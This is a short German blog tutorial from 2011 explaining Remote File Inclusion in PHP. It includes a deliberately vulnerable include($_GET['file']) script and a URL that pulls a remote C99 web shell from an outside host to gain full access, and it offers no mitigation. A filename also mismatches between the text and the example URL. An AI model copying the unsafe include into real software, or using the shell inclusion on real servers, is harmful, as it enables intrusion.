Samstag, 9. April 2011

RFI (Remote File Inclusion)

Heute versuche ich euch ein bisschen etwas zu einer RFI (Remote File Inclusion) zu erlaeutern, 
LFI (Local File Inclusion) wird, sobald ich Zeit finde, ebenfalls drankommen!

Was ist RFI überhaupt, und was ist die Gefahr bei solch einer Lücke?


Eine RFI Luecke kann ganz einfach entstehen, wenn man versucht, etwas auf einer Page zu inkludieren.Da sich das so mager anhört, versuch ich das in einem Source Beispiel zu erklären. Erstellen wir uns mal eine rfi.php Datei mit etwa diesem Inhalt:
<?php
 
if (isset($_GET['file']))
{
include($_GET['file']);
}
else
{
echo "Du hast kein File includet";
}
?>
Erinnert vielleicht ein  bisschen an den Source Code von XSS Lücken, da wieder etwas über den GET Parameter uebergeben wird. Diesmal wollen wir den Inhalt einer sich auf unserem Server befindenden PHP Datei einfügen.
Dazu erstellen wir eine blub.php Datei mit etwa diesem Inhalt:
<?php
echo "Das ist eine includete PHP Datei";
?>
Ganz simpler Echo Ausgabe Befehl, wie man sieht. Wenn man nun unsere URL aufruft (ich teste es wie immer auf localhost)
http://localhost/rfi.php
Erscheint unser Error:
Du hast kein File includet
Dann wollen wir uns unsere blub.php includen:
http://localhost/rfi.php?file=jap.php
Wird
Das ist eine includete PHP Datei
ausgegeben. D.h. unsere blub.php datei wurde dort eingefuegt bzw. ausgefuehrt.
Nun da RFI Remote File Inclusion heißt, wird hier eine externe page includiert, die nicht auf dem Webspace vorhanden ist, als Beispiel würde das dann so aussehen:
http://localhost/rfi.php?file=http://www.google.de
Wenn nun dort auf der Page Google.de angezeigt wird, dann ist eine RFI Luecke vorhanden.
Vorraussetzung für eine RFI ist, dass allow_url_fopen, allow_url_include und register_globals on sind.
So nun brauchen wir ne Page mit einer C99.php shell als beispiel und includen diese (diese shell sollte in einem Format gespeichert sein, welches der Server nicht interpretiert sondern nur ausgibt, d.h. z.b. als .txt).
Sieht dann so aus:
http://localhost/rfi.php?file=http://test.de/c99.txt
Und zu sehen ist dann eine includete shell, auf die ihr, wenn alles klappt, vollen Zugriff habt :)
Wie das ganze bei einer LFI aussieht erzaehl ich euch das nächste mal. Auch Sachen bezueglich Nullbyte werd ich noch ansprechen.

~fred

Keine Kommentare:

Kommentar veröffentlichen